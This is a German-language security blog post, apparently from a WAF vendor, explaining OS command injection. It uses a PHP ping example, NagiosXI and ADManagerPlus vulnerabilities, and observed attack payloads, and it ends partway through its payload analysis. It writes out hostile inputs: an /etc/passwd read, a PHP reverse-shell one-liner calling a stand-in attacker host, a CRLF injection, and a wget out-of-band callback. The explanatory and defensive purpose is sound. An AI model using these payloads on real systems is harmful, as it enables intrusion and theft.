OS Command Injection ist eine Schwachstelle bei Webanwendungen, die es Angreifern ermöglicht, beliebige Befehle auf dem zugrunde liegenden Betriebssystem auszuführen. Solche Schwachstellen treten auf, wenn Webanwendungen Betriebssystembefehle mit vom Nutzer bereitgestellten Eingaben als Argumente aufrufen. Bekannte Formen sind CWE-77 und CWE-78.
Stellen Sie sich eine Webanwendung vor, die interne Systeme überwachen und Warnungen ausgeben soll, wenn eines der Systeme offline geht. In diesem Szenario möchte die Anwendung möglicherweise die Netzwerkerreichbarkeit des Ziels testen und führt zu diesem Zweck einen Ping-Befehl aus. Wenn die Anwendung in PHP geschrieben ist, könnte der zugrunde liegende Code etwa wie folgt aussehen:
$ip_address = $_GET["ip_address"])
$not_used = array();
$return_code = 0;
exec('ping -W 2 -c 1 ' . $ip_address, $not_used, $return_code)
Die „exec“-Funktion von PHP führt in diesem Beispiel den Ping-Befehl mit dem am Ende als Ziel angehängten, vom Nutzer bereitgestellten Wert für „ip_address“ aus, um die Erreichbarkeit zu testen. Gibt ein böswilliger Nutzer jedoch localhost; cat /etc/passwd
als IP-Adresse an, werden sowohl der Ping-Befehl als auch der zweite Befehl, der nach dem Semikolon beginnt, ausgeführt. Sofern erfolgreich, kann der Angreifer ab diesem Moment eine beliebige Anzahl an bösartigen Befehlen ausführen, um zu versuchen, erweiterte Zugriffsrechte zu erlangen, vertrauliche Informationen abzurufen, die Persistenz aufrechtzuerhalten oder auf andere Ziele im Netzwerk zuzugreifen. Aufgrund ihrer oft verheerenden Auswirkungen werden Command-Injection-Schwachstellen meist als schwerwiegender eingestuft als andere Schwachstellen bei Webanwendungen.
Command Injection wird oft mit anderen Injection-Angriffen verwechselt, vorrangig mit Code Injection. Am einfachsten lassen sich diese beiden Schwachstellen anhand der Methode und des Kontexts der Payload-Ausführung unterscheiden:
Bei Command Injection erfolgt die Ausführung insbesondere im Zusammenhang mit den Shell-Programmen des zugrunde liegenden Betriebssystems (z. B. Bash oder PowerShell), wobei ein externes Programm in den Call eingeschleust wird.
Bei Code Injection erfolgt die Ausführung im Kontext der verwendeten Programmiersprache. Ein Beispiel dafür wäre das Einschleusen von Code in die „include“- oder „eval“-Funktion von PHP, damit beliebiger PHP-Code ausgeführt werden kann.
Gelegentlich kommt es zur Verwechslung, wenn eine Command Injection Payload Code aus Programmiersprachen wie PHP enthält. Betrachten wir zum Beispiel die folgende Command Injection Payload aus unserem vorherigen Beispiel, durch die eine Reverse Shell gestartet wird:
localhost; php -r '$sock=fsockopen("attackers.ip.example.com",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
Da die Payload hauptsächlich PHP-Code enthält, könnte man sie auf den ersten Blick mit einem Code-Injection-Angriff verwechseln. Der vordere Teil der Payload verrät uns allerdings, dass es sich dabei tatsächlich um Command Injection handelt. Das Semikolon beendet den Ping-Befehl, bevor der PHP-Befehl ausgeführt wird. „php -r“ gibt an, dass der folgende PHP-Code in der Command Line ausgeführt wird, wobei es sich in diesem Fall um eine Reverse Shell handelt, die zurück zur IP-Adresse des Angreifers verweist. Auch wenn in unserer Payload also PHP-Code ausgeführt wird, liegt hier OS Command Injection vor, weil wir Code in die Argumente des Shell-Programms des Betriebssystems einschleusen.
Nachdem wir nun zwischen echter und scheinbarer OS Command Injection zu unterscheiden wissen, können wir uns genauer ansehen, wie Angriffe in der Praxis umgesetzt werden.
Die NagiosXI Versionen 5.5.6 bis 5.7.5 waren von drei verschiedenen Command-Injection-Angriffen betroffen. Unser vorheriges Ping-Beispiel orientiert sich übrigens grob an CVE-2021-25298, wo die Command-Injection-Schwachstelle in einem Ping-Aufruf über die PHP-Funktion „exec“ mit einer vom Nutzer angegebenen IP-Adresse lag. In unserer detaillierten Analyse dieser CVEs (Common Vulnerabilities and Exposures) demonstrieren wir ganz anschaulich, wie diese Schwachstellen ausgenutzt werden, indem wir sowohl Meterpreter Remote Shells als auch Callbacks zu „interactsh“ von Project Discovery starten. Wie auch die US-amerikanische Cybersecurity & Infrastructure Security Agency (CISA) zum Zeitpunkt der Erstellung dieses Blogposts anmerkt, werden diese CVEs von Angreifern aktiv ausgenutzt, was ein Hinweis auf die potenzielle Gefahr für Systeme ist.
Diese spezifische Command-Injection-Schwachstelle ist ein gutes Beispiel dafür, wie man Command Injection nicht verhindern sollte. Dinh Hoang beschreibt diese Schwachstelle in einem wunderbaren Artikel – insbesondere, wie ADManagerPlus eine CommonUtil.getPowerShellEscapedValue-Funktion verwendet, um vom Nutzer für einen „reg add“-Befehl angegebene Zugangsdaten zu umgehen. Bei dieser Funktion werden CRLF-Zeichen allerdings nicht entschlüsselt, sodass die folgende Payload, die „calc“ startet, als Passwort eingefügt werden kann: [any-content]\r\ncalc.exe
. Wie wir später noch sehen werden, können bei dieser Art der Neutralisierung von Eingaben nicht nur Fehler auftreten, sondern sich auch neue Umgehungsmöglichkeiten auftun oder Metazeichen übersehen werden, was eine künftige Command Injection zur Folge haben könnte.
Die Fastly Next-Gen WAF schützt vor gängigen Command-Injection-Angriffen. Die Untersuchung einiger Command Injection Payloads, die wir beobachtet haben, zeigt uns, was Angreifer senden, um OS-Command-Injection-Schwachstellen aufzuspüren.
language=&ping -c 25 127.0.0.1 &
Bei dieser Payload handelt es sich um einen einfachen Command-Injection-Versuch in das Feld „language“. Außerdem wird hier eine blinde Command-Injection-Methode verwendet. Oder anders ausgedrückt: Die Erkennung der Command Injection ist nicht davon abhängig, dass Output von einem Befehl abgerufen wird. Die Payload verwendet das Metazeichen „&“, um den zweiten Befehl auszuführen, während der erste Befehl im Hintergrund ausgeführt wird. Die Payload enthält den Befehl „ping“ mit dem Flag „-c“, der „ping“ anweist, 25 Pakete zu senden – eines pro Sekunde. Durch die Analyse des Antwortzeitpunkts können Angreifer feststellen, ob ihr eingeschleuster Befehl ausgeführt wurde. Diese Methode kann allerdings auch fehlschlagen, wenn die betroffene Anwendung nicht wartet, bis der ausgeführte Befehl abgeschlossen ist, bevor sie eine HTTP-Antwort sendet – was ihre Wirksamkeit einschränkt. Sehen wir uns also als Zweites ein interessantes Beispiel für eine blinde Command Injection an, bei dem diese Einschränkung nicht besteht.
macAddress=112233445566;wget http://[redacted-subdomain].oast.site#
Bei dieser Payload handelt es sich um eine blinde Command-Injection-Methode, die Out-of-band Network Interaction nutzt. Die Erkennung des Command-Injection-Angriffs setzt also die Erkennung einer ausgehenden Netzwerkanfrage des injizierten Befehls voraus. Schlüsseln wir die Payload in ihre zwei Teile auf: die escape-Funktion und den Aufbau des Befehls sowie den Inhalt des injizierten Befehls.